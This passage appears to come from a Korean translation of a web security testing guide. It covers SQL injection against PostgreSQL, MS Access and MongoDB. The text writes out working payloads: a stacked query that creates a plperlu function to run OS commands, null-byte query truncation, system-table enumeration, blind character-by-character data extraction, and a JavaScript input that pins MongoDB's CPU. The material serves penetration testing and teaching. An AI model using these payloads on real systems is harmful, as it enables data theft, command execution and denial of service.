  • CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu
  1. Have fun with:
  • SELECT proxyshell(os command);

예제

  1. Create a proxy shell function:
  • /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;
  1. Run an OS Command:
  • /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--

References



MS Access 테스트

개요

As explained in the generic SQL injection section, SQL injection vulnerabilities occur whenever user-supplied input is used during the construction of a SQL query without being adequately constrained or sanitized. This class of vulnerabilities allows an attacker to execute SQL code under the privileges of the user that is used to connect to the database. In this section, relevant SQL injection techniques that utilize specific features of Microsoft Access will be discussed.


테스트 방법

핑거프린팅

Fingerprinting the specific database technology while testing SQL-powered application is the first step to properly asses potential vulnerabilities. A common approach involves injecting standard SQL injection attack patterns (e.g. single quote, double quote, ...) in order to trigger database exceptions. Assuming that the application does not handle exceptions with custom pages, it is possible to fingerprint the underline DBMS by observing error messages. Depending on the specific web technology used, MS Access driven applications will respond with one of the following errors:

Fatal error: Uncaught exception 'com_exception' with mes
sage Source: Microsoft JET Database Engine

or

Microsoft JET Database Engine error '80040e14'
or Microsoft Office Access Database Engine

In all cases, we have a confirmation that we're testing an application using MS Access database.


기본 테스트

Unfortunately, MS Access doesn't support typical operators that are traditionally used during SQL injection testing, including:

  • No comments characters
  • No stacked queries
  • No LIMIT operator
  • No SLEEP or BENCHMARK alike operators
  • and many others

Nevertheless, it is possible to emulate those functions by combining multiple operators or by using alternative techniques. As mentioned, it is not possible to use the trick of inserting the characters /*, -- or # in order to truncate the query. However, we can fortunately bypass this limitation by injecting a 'null' character. Using a null byte %00 within a SQL query results in MS Access ignoring all remaining characters. This can be explained by considering that all strings are NULL terminated in the internal representation used by the database. It is worth mentioning that the 'null' character can sometimes cause troubles too as it may truncate strings at the web server level. In those situations, we can however employ another character: 0x16 (%16 in URL encoded format).

Considering the following query:

SELECT [username],[password] FROM users WHERE [user
name]='$myUsername' AND [password]='$myPassword'

We can truncate the query with the following two URLs:

http://www.example.com/page.asp?user=admin'%00&
pass=foo
http://www.example.com/page.app?user=admin'%16&
pass=foo

The LIMIT operator is not implemented in MS Access, however it is possible to limit the number of results by using the TOP or LAST operators instead.

http://www.example.com/page.app?id=2'+UNION+SE
LECT+TOP+3+name+FROM+appsTable%00

By combining both operators, it is possible to select specific re sults. String concatenation is possible by using & (%26) and + (%2b) characters.

There are also many other functions that can be used while testing SQL injection, including but not limited to:

  • ASC: Obtain the ASCII value of a character passed as input
  • CHR: Obtain the character of the ASCII value passed as input
  • LEN: Return the length of the string passed as parameter
  • IIF: Is the IF construct, for example the following statement IIF(1=1, 'a', 'b') return 'a'
  • MID: This function allows you to extract substring, for example the following statement mid('abc',1,1) return 'a'
  • TOP: This function allows you to specify the maximum number of results that the query should return from the top. For example TOP 1 will return only 1 row.
  • LAST: This function is used to select only the last row of a set of rows. For example the following query SELECT last(*) FROM users will return only the last row of the result.

Some of these operators are essential to exploit blind SQL injections. For other advanced operators, please refer to the documents in the references.


Attributes Enumeration

In order to enumerate the column of a database table, it is possible to use a common error-based technique. In short, we can obtain the attributes name by analyzing error messages and repeating the query with different selectors. For example, assuming that we know the existence of a column, we can also obtain the name of the remaining attributes with the following query:

' GROUP BY Id%00

In the error message received, it is possible to observe the name of the next column. At this point, we can iterate the method until we obtain the name of all attributes. If we don't know the name of the first attribute, we can still insert a fictitious column name and obtain the name of the first attribute within the error message. Obtaining Database Schema Various system tables exist by default in MS Access that can be potentially used to obtain table names and columns. Unfortunately, in the default configuration of recent MS Access database releases, these tables are not accessible. Nevertheless, it is always worth trying:

  • MSysObjects
  • MSysACEs
  • MSysAccessXML

For example, if a union SQL injection vulnerability exists, you can use the following query:

' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00

Alternatively, it is always possible to bruteforce the database schema by using a standard wordlist (e.g. FuzzDb).

In some cases, developers or system administrators do not realize that including the actual .mdb file within the application webroot can allow to download the entire database. Database filenames can be inferred with the following query:

http://www.example.com/page.app?id=1'+UNION+SELECT+1+FROM+name.table%00

where name is the .mdb filename and table is a valid database table. In case of password protected databases, multiple software utilities can be used to crack the password. Please refer to the references.


Blind SQL Injection Testing

Blind SQL Injection vulnerabilities are by no means the most easily exploitable SQL injections while testing real-life applications. In case of recent versions of MS Access, it is also not feasible to execute shell commands or read/write arbitrary files. In case of blind SQL injections, the attacker can only infer the result of the query by evaluating time differences or application responses. It is supposed that the reader already knows the theory behind blind SQL injection attacks, as the remaining part of this section will focus on MS Access specific details. The following example is used:

http://www.example.com/index.php?myId=[sql]

where the id parameter is used within the following query:

SELECT * FROM orders WHERE [id]=$myId

Let's consider the myId parameter vulnerable to blind SQL injection. As an attacker, we want to extract the content of column 'username' in the table 'users', assuming that we have already disclosed the database schema. A typical query that can be used to infer the first character of the user-name of the 10th rows is:

http://www.example.com/index.php?id=IIF((select%20
MID(LAST(username),1,1)%20from%20(select%20TOP%20
10%20username%20from%20users))='a',0,'no')

If the first character is 'a', the query will return 0 or otherwise the string 'no'. By using a combination of the IFF, MID, LAST and TOP functions, it is possible to extract the first character of the username on a specifically selected row. As the inner query returns a set of records, and not just one, it is not possible to use it directly. Fortunately, we can combine multiple functions to extract a specific string.

Let's assume that we want to retrieve the username of the 10th row. First, we can use the TOP function to select the first ten rows using the following query:

SELECT TOP 10 username FROM users

Then, using this subset, we can extract the last row by using the LAST function. Once we have only one row and exactly the row containing our string, we can use the IFF, MID and LAST functions to infer the actual value of the username. In our example, we employ IFF to return a number or a string. Using this trick, we can distinguish whether we have a true response or not, by observing application error responses. As id is numeric, the comparison with a string results in a SQL error that can be potentially leaked by 500 Internal Server Error pages. Otherwise, a standard 200 OK page will be likely returned. For example, we can have the following query:

http://www.example.com/index.php?id='%20AND%20
1=0%20OR%20'a'=IIF((select%20MID(LAST(user
name),1,1)%20from%20(select%20TOP%2010%20user
name%20from%20users))='a','a','b')%00

that is TRUE if the first character is 'a' or false otherwise. As mentioned, this method allows to infer the value of arbitrary strings within the database:

  1. By trying all printable values, until we find a match
  2. By inferring the length of the string using the LEN function, or by simply stopping after we have found all characters

Time-based blind SQL injections are also possible by abusing heavy queries.


NoSQL 인젝션 테스트

개요

NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax. Because these NoSQL injection attacks may execute within a procedural[1] language , rather than in the declarative[2] SQL language, the potential impacts are greater than traditional SQL injection.

NoSQL database calls are written in the application's programming language, a custom API call, or formatted according to a common convention (such as XML, JSON, LINQ, etc). Malicious input targeting those specifications may not trigger the primarily application sanitization checks. For example, filtering out common HTML special characters such as < > & ; will not prevent attacks against a JSON API, where special characters include / { } : .

There are now over 150 NoSQL databases available[3] for use within an application, providing APIs in a variety of languages and relationship models. Each offers different features and restrictions. Because there is not a common language between them, example injection code will not apply across all NoSQL databases. For this reason, anyone testing for NoSQL injection attacks will need to familiarize themselves with the syntax, data model, and underlying programming language in order to craft specific tests.

NoSQL injection attacks may execute in different areas of an application than traditional SQL injection. Where SQL injection would execute within the database engine, NoSQL variants may execute during within the application layer or the database layer, depending on the NoSQL API used and data model. Typically NoSQL injection attacks will execute where the attack string is parsed, evaluated, or concatenated into a NoSQL API call.

Additional timing attacks may be relevant to the lack of concurrency checks within a NoSQL database. These are not covered under injection testing. At the time of writing MongoDB is the most widely used NoSQL database, and so all examples will feature MongoDB APIs.


테스트 방법

MongoDB에 NoSQL 인젝션 취약점 테스트

MongoDB에서 가장 일반적으로 사용되는 API 호출은 임의 자바스크립트 입력을 허용하는 $where 연산자입니다. $where 연산자는 일반적으로 간단한 필터 또는 확인에 사용됩니다.

db.myCollection.find(
{
    $where: "this.credits == this.debits"
}
);

아래와 같은 자바스크립트 함수 형식으로도 사용 가능합니다.

db.myCollection.find(
{
    $where: function()
            {
                return obj.credits-obj.debits < 0;
            }
}
);

예제 1

만약 공격자가 $where 연산자 내에 데이터를 조작할 수 있다면, 공격자는 MongoDB 쿼리 부분에 임의의 자바스크립트를 삽입할 수 있습니다. 사용자 입력에 대한 필터 없이 MongoDB 쿼리가 직접 전달될 경우 다음 코드처럼 노출됩니다.

b.myCollection.find(
{
    active: true,
    $where: function()
            {
                return obj.credits-obj.debits < $userInput;
            }
}
);

MongoDB에서는 아래와 같은 특수문자를 통해 구문을 우회하여 공격에 성공할 수 있습니다.

' " \ ; { }

일반적인 SQL 인젝션과 마찬가지로 임의로 데이터를 조작하는 SQL 명령을 실행할 수 있습니다. 또한, 자바스크립트 언어가 가능하기 때문에 데이터 조작 뿐만 아니라 임의의 코드 실행이 가능합니다.

[입력 값]

0;var date=new Date(); do{curDate = new Date();} while(curDate-date<10000)

위 입력 값을 $userInput에 입력하게 되면 아래와 같이 자바스크립트 함수가 실행되게 됩니다. 이 공격 문자열은 전체 MongoDB 인스턴스를 10초 동안 100%의 CPU 사용률으로 실행되게 합니다.

function()
{
    return obj.credits-obj.debits < 0;
    var date=new Date();
    do{curDate = new Date();}
    while(curDate-date < 10000);
}

예제 2

쿼리 내에서 사용되는 입력을 완전히 필터링 또는 파라미터화 된 경우라도, NoSQL 인젝션을 유발할 수있는 대체 경로가 있습니다. 대부분의 NoSQL 인스턴스는 어플리케이션 프로그래밍 언어와 무관하게 자신의 소유 변수 이름을 갖고 있습니다.

예를 들어, MongoDB의 경우 $where 구문이라는 자신의 소유 변수가 있습니다.

It needs to be passed into the query exactly as shown; any alteration would cause a database error. However, because $where is also a valid PHP variable name, it may be possible for an attacker to insert code into the query by creating a PHP variable named $where. The PHP MongoDB documentation explicitly warns developers:

Please make sure that for all special query operators (starting with $) you use single quotes so that PHP doesn't try to replace "$exists" with the value of the variable $exists.

Even if a query depended on no user input, such as the following example, an attacker could exploit MongoDB by replacing the operator with malicious data.

db.myCollection.find(
{
    $where: function()
            {
                return obj.credits-obj.debits < 0;
            }
}
);

잠재적으로 PHP 변수로 데이터를 할당하는 한가지 방법은 HTTP 파라미터 감염을 이용하는 것입니다. (HTTP 파라미터 감염 침투 테스트(OTG-INPVAL-004)). 파라미터 감염을 통해 $where라는 변수를 생성할 수 있다면, 유효하지 않은 쿼리를 통해 MongoDB 에러를 트리거할 수 있습니다.

[입력 값]

$where: function()
{
    //arbitrary JavaScript here
}

References

Whitepapers